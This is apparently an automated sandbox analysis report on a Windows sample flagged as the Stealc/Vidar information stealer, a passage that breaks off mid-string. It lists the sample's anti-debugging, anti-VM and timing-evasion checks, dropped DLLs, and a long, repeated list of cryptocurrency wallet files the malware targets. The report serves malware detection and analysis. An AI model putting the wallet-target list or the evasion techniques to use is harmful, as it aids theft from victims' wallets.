Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310BBD second address: 5310BD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F82D4995660h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310BD1 second address: 5310BD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310BD5 second address: 5310BD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310BD9 second address: 5310BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310D00 second address: 5310D62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b pushad 0x0000000c jmp 00007F8264EBD7ACh 0x00000011 movzx esi, di 0x00000014 popad 0x00000015 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000001c jmp 00007F8264EBD7ADh 0x00000021 mov eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 movsx ebx, cx 0x00000029 call 00007F8264EBD7B4h 0x0000002e pop eax 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310D62 second address: 5310D7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8264D3C907h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310D7D second address: 5310D81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310D81 second address: 5310DC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp-10h] 0x0000000b jmp 00007F8264D3C905h 0x00000010 mov dword ptr fs:[00000000h], ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jmp 00007F8264D3C903h 0x0000001f mov si, 335Fh 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310DC3 second address: 5310DE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 584F8462h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8264EBD7B4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310DE5 second address: 5310DEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532008B second address: 53200B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 mov cx, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d mov di, cx 0x00000010 mov si, F3E3h 0x00000014 popad 0x00000015 mov dword ptr [esp], ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F8264EBD7B0h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53200B7 second address: 53200C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C8FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53200C6 second address: 53200CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E3D9CB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E3DAC8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FD931C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1005B00 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C64EBF0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2063854797.0000000000FB9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2065392111.0000000001593000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8h]
Source: file.exe, 00000000.00000002.2065392111.000000000154E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2065392111.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2063854797.0000000000FB9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C71AC62

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C71AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7468, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C764760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C764760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C641C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C641C30

Source: file.exe, file.exe, 00000000.00000002.2063854797.0000000000FB9000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: XProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AE71 cpuid

0_2_6C71AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C71A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C668390 NSS_GetVersion,

0_2_6C668390

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.b50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2065392111.000000000154E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2063456303.0000000000B51000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1693251451.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7468, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7468, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\.
Source: file.exe, 00000000.00000002.2063456303.0000000000C64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2065392111.000000000160E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2063456303.0000000000C64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\window-state.json*;_G
Source: file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.conf.json
Source: file.exe, 00000000.00000002.2063456303.0000000000C64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2063456303.0000000000C64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2065392111.000000000160E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2063456303.0000000000C64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.2084087248.0000000023902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\jaxx\Local Storage\file__0.localstorage
Source: file.exe, 00000000.00000002.2065392111.000000000160E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2063456303.0000000000C64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: file.exe, 00000000.00000002.2084087248.0000000023902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\jaxx\Local Storage\file__0.localstorage
Source: file.exe, 00000000.00000002.2065392111.000000000160E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2063456303.0000000000DBE000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2063456303.0000000000C64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2063456303.0000000000C64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2063456303.0000000000C64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2065392111.000000000160E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session 